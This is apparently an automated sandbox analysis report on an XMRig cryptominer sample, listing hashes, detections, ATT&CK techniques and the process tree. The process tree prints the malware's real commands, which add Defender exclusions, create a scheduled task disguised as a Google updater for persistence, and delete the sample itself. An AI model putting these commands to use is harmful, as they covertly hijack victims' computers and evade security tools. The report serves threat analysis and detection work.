xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
440s
max time network
1799s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3048 created 1196	3048	Yvdp8t5knpQz7sFB.exe	11
PID 3048 created 1196	3048	Yvdp8t5knpQz7sFB.exe	11
PID 3048 created 1196	3048	Yvdp8t5knpQz7sFB.exe	11
PID 3048 created 1196	3048	Yvdp8t5knpQz7sFB.exe	11
PID 2320 created 1196	2320	updater.exe	11
PID 2320 created 1196	2320	updater.exe	11
PID 2320 created 1196	2320	updater.exe	11
PID 2320 created 1196	2320	updater.exe	11
PID 2952 created 1196	2952	conhost.exe	11
PID 2320 created 1196	2320	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral31/memory/2532-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2608	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2320	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2636	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/2532-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2320 set thread context of 2952	2320	updater.exe	50
PID 2320 set thread context of 2532	2320	updater.exe	52

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2864	schtasks.exe
1532	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1712	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 807c0633bc4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3048	Yvdp8t5knpQz7sFB.exe
3048	Yvdp8t5knpQz7sFB.exe
2208	powershell.exe
3048	Yvdp8t5knpQz7sFB.exe
3048	Yvdp8t5knpQz7sFB.exe
2764	powershell.exe
3048	Yvdp8t5knpQz7sFB.exe
3048	Yvdp8t5knpQz7sFB.exe
3048	Yvdp8t5knpQz7sFB.exe
3048	Yvdp8t5knpQz7sFB.exe
2872	powershell.exe
2320	updater.exe
2320	updater.exe
2912	powershell.exe
2320	updater.exe
2320	updater.exe
2924	powershell.exe
2320	updater.exe
2320	updater.exe
2320	updater.exe
2320	updater.exe
2952	conhost.exe
2952	conhost.exe
2320	updater.exe
2320	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2320	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1712	WMIC.exe
Token: SeSecurityPrivilege	1712	WMIC.exe
Token: SeTakeOwnershipPrivilege	1712	WMIC.exe
Token: SeLoadDriverPrivilege	1712	WMIC.exe
Token: SeSystemtimePrivilege	1712	WMIC.exe
Token: SeBackupPrivilege	1712	WMIC.exe
Token: SeRestorePrivilege	1712	WMIC.exe
Token: SeShutdownPrivilege	1712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1712	WMIC.exe
Token: SeUndockPrivilege	1712	WMIC.exe
Token: SeManageVolumePrivilege	1712	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1712	WMIC.exe
Token: SeSecurityPrivilege	1712	WMIC.exe
Token: SeTakeOwnershipPrivilege	1712	WMIC.exe
Token: SeLoadDriverPrivilege	1712	WMIC.exe
Token: SeSystemtimePrivilege	1712	WMIC.exe
Token: SeBackupPrivilege	1712	WMIC.exe
Token: SeRestorePrivilege	1712	WMIC.exe
Token: SeShutdownPrivilege	1712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1712	WMIC.exe
Token: SeUndockPrivilege	1712	WMIC.exe
Token: SeManageVolumePrivilege	1712	WMIC.exe
Token: SeLockMemoryPrivilege	2532	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2864	2764	powershell.exe	37
PID 2764 wrote to memory of 2864	2764	powershell.exe	37
PID 2764 wrote to memory of 2864	2764	powershell.exe	37
PID 2608 wrote to memory of 2748	2608	cmd.exe	34
PID 2608 wrote to memory of 2748	2608	cmd.exe	34
PID 2608 wrote to memory of 2748	2608	cmd.exe	34
PID 2872 wrote to memory of 2592	2872	powershell.exe	38
PID 2872 wrote to memory of 2592	2872	powershell.exe	38
PID 2872 wrote to memory of 2592	2872	powershell.exe	38
PID 2636 wrote to memory of 2320	2636	taskeng.exe	39
PID 2636 wrote to memory of 2320	2636	taskeng.exe	39
PID 2636 wrote to memory of 2320	2636	taskeng.exe	39
PID 2924 wrote to memory of 1532	2924	powershell.exe	45
PID 2924 wrote to memory of 1532	2924	powershell.exe	45
PID 2924 wrote to memory of 1532	2924	powershell.exe	45
PID 2320 wrote to memory of 2952	2320	updater.exe	50
PID 3004 wrote to memory of 1712	3004	cmd.exe	53
PID 3004 wrote to memory of 1712	3004	cmd.exe	53
PID 3004 wrote to memory of 1712	3004	cmd.exe	53
PID 2320 wrote to memory of 2532	2320	updater.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2864
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1532
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1228
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2952
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2748

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\system32\taskeng.exe
taskeng.exe {C82AB012-587E-4490-82BD-026FB5AE4C6C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 54KB
SHA256 41d71764b16f1d5a4732db7792fdae0bcffcbcf3620513f8b3c2ed9a8d511088
MD5 bc3274816ef7cc37d08e9ac83c03fafd
SHA1 234019bd89159a30b867525f468a8962a7f4abba
SHA512 4e4681cc15526ad4999cdc7b651d332e5f66803888bc2939fc0c154f5f2856faa45b6859910d4b8c7c2a73ade027164283ba63bd5f530932f0238bf57f805d0c
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOjxj5UG/wvr:L3zCarzIpyj5pLauwYY94E6w/oBKKwD
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 270KB
SHA256 ede3672005c962f63311b5577b19f7260046267a7bf9dfdda8034cea7b3ecda2
MD5 3836b818510a5e4119f515d913c4ccf4
SHA1 56b2a6209c2b024368141cda81e26eaa75eddf01
SHA512 239bd1781641c19ccb90ae94c9c120dfc654d7f71f7d8ed70d35cb193a46c53cec92be23e659204cb3776fe7b7ed1843b1e994c2612d8ea88e28f2cb26e8a242
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3o:rWVi46hyqG2ckwLxgajd0mAVwb5T3o
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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48P4IDNEHT0FJG910KWB.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\48P4IDNEHT0FJG910KWB.temp
Size 7KB
SHA256 e8f8fe7e0805bbac50feebb2bec8aec323f874e0d56124db90ed2fd503c36e26
MD5 bc191f634b4f6f08beed530b052a51ad
SHA1 b20f65ae2f210c705a605052a6c9f71e6878987f
SHA512 3fe924a199f56ee340be1833a7a99e52293c25fd0debc07b8fa78515b25c132fd3bb7f77e45a0e5dc24264fb96114b406871787214d5ac1c2d6b73f22fb8c5c9
SSDEEP 96:gBX2C1M8anqvsqvJCwo8BX2C1M8anqvsEHyqvJCworlhxDQHoa7qQXlUVP:Q7OUok7OAHnorlrla7qQg
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 9KB
SHA256 bb75bea0c759e9122c6929525bd96d9e6734c425540c4987c524317e92001688
MD5 98402d597cc307dc3a562310bedaee87
SHA1 084cf3f330ba8baf34f312def743efba62b9e9c9
SHA512 833dc779d329b9b6f4369494050bc7ab5e81e32fe7dfa9004d0f8b877b73095fcac7d5cf4f4362187c3115b9c01baaa4a47443346a2dee48a75a3d597411c72d
SSDEEP 192:4lvaz/xnOxnESNZ+XJljrvcNamOFBinXYmG3sOn8PXTWhumFVXHJ:wSz/ROxnE88XJJvc4mOFBinXYfsOn8vk
MD5 SHA1 SHA512 SSDEEP

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memory/2208-7-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2208-11-0x0000000002A00000-0x0000000002A80000-memory.dmp

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memory/2208-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

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memory/2208-12-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2208-9-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2208-8-0x0000000002A00000-0x0000000002A80000-memory.dmp

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memory/2208-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

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memory/2208-5-0x000000001B640000-0x000000001B922000-memory.dmp

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memory/2320-64-0x000000013F930000-0x000000013FB41000-memory.dmp

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memory/2320-43-0x000000013F930000-0x000000013FB41000-memory.dmp

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memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-65-0x0000000000200000-0x0000000000220000-memory.dmp

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memory/2532-76-0x0000000000EF0000-0x0000000000F10000-memory.dmp

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memory/2532-75-0x0000000000EB0000-0x0000000000ED0000-memory.dmp

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memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2532-68-0x0000000000EF0000-0x0000000000F10000-memory.dmp

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memory/2532-67-0x0000000000EB0000-0x0000000000ED0000-memory.dmp

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memory/2532-70-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2764-25-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

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memory/2764-23-0x0000000001F60000-0x0000000001FE0000-memory.dmp

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memory/2764-24-0x0000000001F60000-0x0000000001FE0000-memory.dmp

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memory/2764-22-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

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memory/2764-21-0x0000000001F60000-0x0000000001FE0000-memory.dmp

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memory/2764-18-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

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memory/2764-20-0x0000000001F30000-0x0000000001F38000-memory.dmp

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memory/2764-19-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

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memory/2872-36-0x00000000029C0000-0x0000000002A40000-memory.dmp

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memory/2872-34-0x00000000029C0000-0x0000000002A40000-memory.dmp

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memory/2872-33-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2872-38-0x00000000029C0000-0x0000000002A40000-memory.dmp

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memory/2872-39-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2872-37-0x00000000029C0000-0x0000000002A40000-memory.dmp

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memory/2872-35-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

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memory/2912-50-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

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memory/2912-47-0x0000000001504000-0x0000000001507000-memory.dmp

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memory/2912-48-0x0000000001500000-0x0000000001580000-memory.dmp

